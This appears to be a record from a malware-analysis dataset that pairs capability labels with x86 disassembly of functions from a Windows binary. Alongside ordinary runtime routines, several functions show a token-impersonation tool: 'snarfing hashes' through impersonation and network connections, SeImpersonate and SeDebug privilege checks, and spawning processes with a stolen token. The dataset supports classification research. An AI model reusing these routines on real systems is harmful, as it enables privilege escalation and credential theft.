joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402030
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
mov eax, dword [0x42cf34]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x808], 0x430300
cmp dword [0x431300], 0
je 0x40205b
jmp 0x402196
lea eax, [ebp + 0xc]
mov dword [ebp - 0x814], eax
mov ecx, dword [ebp - 0x814]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x800
lea eax, [ebp - 0x804]
push eax
call fcn.004024d0
add esp, 0x10
cmp eax, 0xffffffff
jne 0x4020ba
mov ecx, 1
imul edx, ecx, 0x7ff
mov dword [ebp - 0x80c], edx
cmp dword [ebp - 0x80c], 0x800
jae 0x4020a7
jmp 0x4020ac
call fcn.0040722d
mov eax, dword [ebp - 0x80c]
mov byte [ebp + eax - 0x804], 0
push 1
call fcn.0040afe6
add esp, 4
cmp dword [0x43130c], eax
jne 0x402102
cmp dword [0x431308], 0
je 0x4020e9
mov ecx, dword [ebp - 0x808]
push ecx
push str._s____Status___
call fcn.00402450
add esp, 8
lea edx, [ebp - 0x804]
push edx
push 0x42b0b0
call fcn.00402450
add esp, 8
jmp 0x40218c
cmp dword [0x431308], 0
je 0x402160
push 0
lea eax, [ebp - 0x810]
push eax
mov ecx, dword [ebp - 0x808]
push ecx
call fcn.0040a520
add esp, 4
push eax
mov edx, dword [ebp - 0x808]
push edx
mov eax, dword [0x43130c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea ecx, [ebp - 0x810]
push ecx
push 0x42b0b4
call fcn.0040a520
add esp, 4
push eax
push str.____Status___
mov edx, dword [0x43130c]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x810]
push eax
lea ecx, [ebp - 0x804]
push ecx
call fcn.0040a520
add esp, 4
push eax
lea edx, [ebp - 0x804]
push edx
mov eax, dword [0x43130c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x814], 0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004070d2
mov esp, ebp
pop ebp
ret

Function at 0x4021b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push 1
call fcn.0040afe6
add esp, 4
cmp dword [0x43130c], eax
jne 0x4021e2
mov eax, dword [0x43130c]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 1
mov edx, dword [ebp + 8]
push edx
call fcn.0040b6d1
add esp, 0x10
jmp 0x4021fc
push 0
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [0x43130c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esp, ebp
pop ebp
ret

Function at 0x402200
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
call fcn.0040afe6
add esp, 4
cmp dword [0x431310], eax
jne 0x402242
push 4
mov eax, dword [ebp + 8]
push eax
call fcn.0040b24a
add esp, 8
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040a520
add esp, 4
add eax, 1
mov edx, dword [ebp + 0x10]
mov dword [edx], eax
mov eax, dword [ebp - 4]
jmp 0x40225c
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [0x431310]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov esp, ebp
pop ebp
ret
Function at 0x402520
Capabilities:
Connect network resource

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x205c
call fcn.004070e0
mov eax, dword [0x42cf34]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x203c], 0
mov dword [ebp - 0x2034], 0
mov eax, dword [ebp + 8]
push eax
push 0x42b700
push 0x1000
lea ecx, [ebp - 0x1004]
push ecx
call fcn.00402750
add esp, 0x10
cmp eax, 0xffffffff
jne 0x40259f
mov edx, 1
imul eax, edx, 0xfff
mov dword [ebp - 0x2038], eax
cmp dword [ebp - 0x2038], 0x1000
jae 0x40258c
jmp 0x402591
call fcn.0040722d
mov ecx, dword [ebp - 0x2038]
mov byte [ebp + ecx - 0x1004], 0
mov dword [ebp - 0x2058], 0
mov dword [ebp - 0x204c], 0
mov dword [ebp - 0x2040], 0
lea edx, [ebp - 0x1004]
mov dword [ebp - 0x2048], edx
push 0x42b708
call fcn.00402030
add esp, 4
lea eax, [ebp - 0x202c]
push eax
lea ecx, [ebp - 0x203c]
push ecx
call fcn.00402800
add esp, 8
mov dword [ebp - 0x2034], eax
cmp dword [ebp - 0x2034], 0
jne 0x402614
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x42b728
call fcn.00402030
add esp, 8
jmp 0x402734
push str.___Snarfing_hashes..._n
call fcn.00402030
add esp, 4
mov dword [ebp - 0x2030], 0
jmp 0x40263c
mov edx, dword [ebp - 0x2030]
add edx, 1
mov dword [ebp - 0x2030], edx
mov eax, dword [ebp - 0x2030]
cmp eax, dword [ebp - 0x203c]
jae 0x402718
imul ecx, dword [ebp - 0x2030], 0x104
mov edx, dword [ebp - 0x2034]
cmp dword [edx + ecx + 0x100], 0
je 0x402713
lea eax, [ebp - 0x2004]
push eax
imul ecx, dword [ebp - 0x2030], 0x104
mov edx, dword [ebp - 0x2034]
mov eax, dword [edx + ecx + 0x100]
push eax
call fcn.004058f0
add esp, 8
push str.NT_AUTHORITY
lea ecx, [ebp - 0x2004]
push ecx
call fcn.0040a443
add esp, 8
test eax, eax
je 0x4026f5
imul edx, dword [ebp - 0x2030], 0x104
mov eax, dword [ebp - 0x2034]
mov ecx, dword [eax + edx + 0x100]
push ecx
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
push 1
push 0
mov edx, dword [ebp - 0x2048]
push edx
call sub.MPR.dll_WNetCancelConnection2A
push 0
push 0
push 0
lea eax, [ebp - 0x205c]
push eax
call sub.MPR.dll_WNetAddConnection2A
test eax, eax
jne 0x4026f5
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
imul ecx, dword [ebp - 0x2030], 0x104
mov edx, dword [ebp - 0x2034]
mov eax, dword [edx + ecx + 0x100]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40262d
mov ecx, dword [ebp - 0x2034]
push ecx
call fcn.00412693
add esp, 4
push str.___Finished_snarfing_hashes_n
call fcn.00402030
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004070d2
mov esp, ebp
pop ebp
ret
Function at 0x403ae0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
mov eax, dword [0x42cf34]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x70], 1
lea eax, [ebp - 0x6c]
push eax
push 1
mov ecx, dword [ebp + 0x14]
push ecx
push 0
push 0xf01ff
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x403b67
lea eax, [ebp - 0x74]
push eax
push 1
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
lea ecx, [ebp - 0x6c]
push ecx
push 1
push 2
push 0
push 0xf01ff
mov edx, dword [ebp - 0x74]
push edx
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x403b67
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Failed_to_duplicate_token_to_primary_token:__d_n
call fcn.00402030
add esp, 8
jmp 0x403cc1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0
push 0x2000000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0x7c]
push eax
push 0x2000000
mov ecx, dword [ebp - 0x78]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea edx, [ebp - 0x80]
push edx
push 4
lea eax, [ebp - 0x70]
push eax
push 0xc
mov ecx, dword [ebp - 0x7c]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
push 4
lea edx, [ebp - 0x70]
push edx
push 0xc
mov eax, dword [ebp - 0x6c]
push eax
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
lea ecx, [ebp - 0x84]
push ecx
push 0x64
lea edx, [ebp - 0x68]
push edx
push 2
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
push eax
call dword [sym.imp.USER32.dll_GetUserObjectInformationA]
push 0x44
push 0
lea eax, [ebp - 0xc8]
push eax
call fcn.00407d10
add esp, 0xc
mov dword [ebp - 0xc8], 0x44
push str.WinSta0
lea ecx, [ebp - 0x68]
push ecx
call fcn.0040a443
add esp, 8
test eax, eax
jne 0x403c13
mov dword [ebp - 0xc0], str.WinSta0default
jmp 0x403c1c
lea edx, [ebp - 0x68]
mov dword [ebp - 0xc0], edx
cmp dword [ebp + 0x10], 0
je 0x403c66
push str.___Attempting_to_create_new_child_process_and_communicate_via_anonymous_pipe_n_n
call fcn.00402030
add esp, 4
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x6c]
push ecx
call fcn.00401210
add esp, 8
cmp dword [0x431308], 0
jne 0x403c55
push 0x42c0e0
call fcn.00401e00
add esp, 4
push str.___Returning_from_exited_process_n
call fcn.00402030
add esp, 4
jmp 0x403cc1
lea edx, [ebp - 0xd8]
push edx
lea eax, [ebp - 0xc8]
push eax
push 0
push 0
push 0x10
push 0
push 0
push 0
mov ecx, dword [ebp + 0xc]
push ecx
push 0
mov edx, dword [ebp - 0x6c]
push edx
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
je 0x403ca3
push str.___Created_new_process_with_token_successfully_n
call fcn.00402030
add esp, 4
jmp 0x403cb7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Failed_to_create_new_process:__d_n
call fcn.00402030
add esp, 8
mov eax, dword [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004070d2
mov esp, ebp
pop ebp
ret
Function at 0x405f10
Capabilities:
Get token privileges

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5018
call fcn.004070e0
mov eax, dword [0x42cf34]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x5018]
push eax
push 0x42c9a4
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x405f44
jmp 0x405fe0
lea ecx, [ebp - 0x5010]
push ecx
push 0x1000
lea edx, [ebp - 0x5004]
push edx
push 3
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x405fe0
mov dword [ebp - 0x5008], 0
jmp 0x405f82
mov ecx, dword [ebp - 0x5008]
add ecx, 1
mov dword [ebp - 0x5008], ecx
mov edx, dword [ebp - 0x5008]
cmp edx, dword [ebp - 0x5004]
jae 0x405fe0
mov dword [ebp - 0x500c], 0x1000
lea eax, [ebp - 0x500c]
push eax
lea ecx, [ebp - 0x1004]
push ecx
imul edx, dword [ebp - 0x5008], 0xc
lea eax, [ebp + edx - 0x5000]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeNameA]
push 0x42c9bc
lea ecx, [ebp - 0x1004]
push ecx
call fcn.00412c00
add esp, 8
test eax, eax
jne 0x405fde
mov eax, 1
jmp 0x405ff2
jmp 0x405f73
cmp dword [ebp + 8], 0
je 0x405ff0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004070d2
mov esp, ebp
pop ebp
ret

Function at 0x406000
Capabilities:
Get token privileges

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5018
call fcn.004070e0
mov eax, dword [0x42cf34]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x5018]
push eax
push str.SeImpersonatePrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x406034
jmp 0x4060d0
lea ecx, [ebp - 0x5010]
push ecx
push 0x1000
lea edx, [ebp - 0x5004]
push edx
push 3
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x4060d0
mov dword [ebp - 0x5008], 0
jmp 0x406072
mov ecx, dword [ebp - 0x5008]
add ecx, 1
mov dword [ebp - 0x5008], ecx
mov edx, dword [ebp - 0x5008]
cmp edx, dword [ebp - 0x5004]
jae 0x4060d0
mov dword [ebp - 0x500c], 0x1000
lea eax, [ebp - 0x500c]
push eax
lea ecx, [ebp - 0x1004]
push ecx
imul edx, dword [ebp - 0x5008], 0xc
lea eax, [ebp + edx - 0x5000]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeNameA]
push 0x42c9ec
lea ecx, [ebp - 0x1004]
push ecx
call fcn.00412c00
add esp, 8
test eax, eax
jne 0x4060ce
mov eax, 1
jmp 0x4060e2
jmp 0x406063
cmp dword [ebp + 8], 0
je 0x4060e0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004070d2
mov esp, ebp
pop ebp
ret
Function at 0x4060f0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x42cf34]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], 0
cmp dword [ebp - 0x18], 0
jne 0x406138
lea ecx, [ebp - 0x18]
push ecx
push 0x2000000
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x406138
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1c], eax
jmp 0x40619b
mov edx, 0xc
imul eax, edx, 0
lea ecx, [ebp + eax - 0x10]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x406161
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1c], eax
jmp 0x40619b
mov edx, 0xc
imul eax, edx, 0
mov dword [ebp + eax - 8], 2
mov dword [ebp - 0x14], 1
push 0
push 0
push 0
lea ecx, [ebp - 0x14]
push ecx
push 0
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x40619b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1c], eax
cmp dword [ebp + 8], 0
jne 0x4061b1
cmp dword [ebp - 0x18], 0
je 0x4061b1
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004070d2
mov esp, ebp
pop ebp
ret
Function at 0x4079d7
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x407a16
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x407a16
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x407a16
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x407a16
cmp dword [ecx + 0x74], 0xe
jbe 0x407a16
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x415e9a
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x425d78
push 0x425d70
push str.FlsAlloc
push 0x1f
call fcn.00415d59
mov esi, eax
add esp, 0x10
test esi, esi
je 0x415ece
push dword [ebp + 8]
mov ecx, esi
call dword [0x423204]
call esi
jmp 0x415ed4
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x415f18
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x425d88
push 0x425d80
push str.FlsGetValue
push 0x21
call fcn.00415d59
mov esi, eax
add esp, 0x10
test esi, esi
je 0x415f4f
push dword [ebp + 8]
mov ecx, esi
call dword [0x423204]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x415f57
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x425d90
push 0x425d88
push str.FlsSetValue
push 0x22
call fcn.00415d59
mov esi, eax
add esp, 0x10
test esi, esi
je 0x415f91
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x423204]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x41a1ed
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x41a28a
push ebx
push esi
call fcn.0041a1b6
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00418d3f
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x41a237
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41a289
push edi
push eax
call fcn.00417a6e
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x41a257
call fcn.00415bec
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41a288
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00418d3f
add esp, 0x20
test eax, eax
jne 0x41a276
push edi
call fcn.00415bec
jmp 0x41a27e
push ebx
call fcn.00415bec
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x41cae4
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x42ff20]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41cb24
cmp byte [ebx], 0xa
jne 0x41cb24
or byte [edi + eax + 0x28], 4
jmp 0x41cb29
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x41cc28
mov dl, byte [eax]
cmp dl, 0x1a
je 0x41cc0b
inc eax
cmp dl, 0xd
je 0x41cb55
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x41cb7b
cmp eax, ecx
jae 0x41cb89
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x41cb3d
jmp 0x41cc28
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41cc06
cmp dword [ebp - 0x10], 0
je 0x41cc06
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x42ff20]
test byte [eax + edi + 0x28], 0x48
je 0x41cbe0
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41cbcb
mov byte [esi], dl
jmp 0x41cbdc
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x42ff20]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41cc28
cmp byte [ebp - 1], 0xa
jne 0x41cbef
cmp esi, ebx
jne 0x41cbef
mov byte [esi], 0xa
jmp 0x41cc27
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041ca54
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41cc28
mov byte [esi], 0xd
jmp 0x41cc27
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x42ff20]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41cc25
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41cc28
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41cc31
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x42ff20]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41cc77
cmp word [ebx], dx
jne 0x41cc77
or byte [eax + edi + 0x28], 4
jmp 0x41cc7c
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x41cddf
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x41cdbf
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x41ccbd
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41ccf3
cmp eax, edx
jae 0x41cd01
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x41cc98
jmp 0x41cddf
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41cdba
cmp dword [ebp - 0x18], 0
je 0x41cdba
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x42ff20]
test byte [eax + edi + 0x28], 0x48
je 0x41cd90
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x41cd54
mov word [esi], cx
jmp 0x41cd8b
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x42ff20]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x42ff20]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x42ff20]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x41cddf
pop eax
cmp word [ebp - 4], ax
jne 0x41cda0
cmp esi, ebx
jne 0x41cda0
mov word [esi], ax
jmp 0x41cddc
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041ca54
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x41cddf
push 0xd
pop eax
jmp 0x41cd9b
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x42ff20]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x41cdd9
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x41cddf
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41fea8
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.0041fe21
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x420017
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x420017
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x41ffcc
jg 0x41ff04
test eax, eax
je 0x41ffc2
push 1
push 0x1000
call fcn.00415aa0
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x41ff27
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x41ffb9
push 0x8000
push ebx
call fcn.004147fe
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x41ff50
jg 0x41ff4b
cmp ecx, 0x1000
jb 0x41ff50
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.004174d3
add esp, 0x10
cmp eax, 0xffffffff
je 0x41ff95
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x41ff4b
jl 0x41ff7c
test ecx, ecx
jne 0x41ff3d
push dword [ebp - 0xc]
push ebx
call fcn.004147fe
push esi
call fcn.00415bec
add esp, 0xc
xor ebx, ebx
jmp 0x420025
cmp byte [edi + 0x24], 0
je 0x41ffac
cmp dword [edi + 0x20], 5
jne 0x41ffac
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x41ffb7
mov ebx, dword [edi + 0x18]
jmp 0x41ffb9
xor ebx, ebx
push esi
call fcn.00415bec
pop ecx
jmp 0x420025
test ecx, ecx
jg 0x41ff8e
jl 0x41ffcc
test eax, eax
jae 0x41ff8e
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041ca54
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x41ffec
cmp byte [edi + 0x1c], 0
je 0x41ff8e
jmp 0x42001d
push ebx
call fcn.0041a9e1
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x41ff8e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x420025
cmp byte [edi + 0x1c], 0
je 0x420022
mov ebx, dword [edi + 0x18]
jmp 0x420025
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.0041ca54
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x421ff0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42201d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42201d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret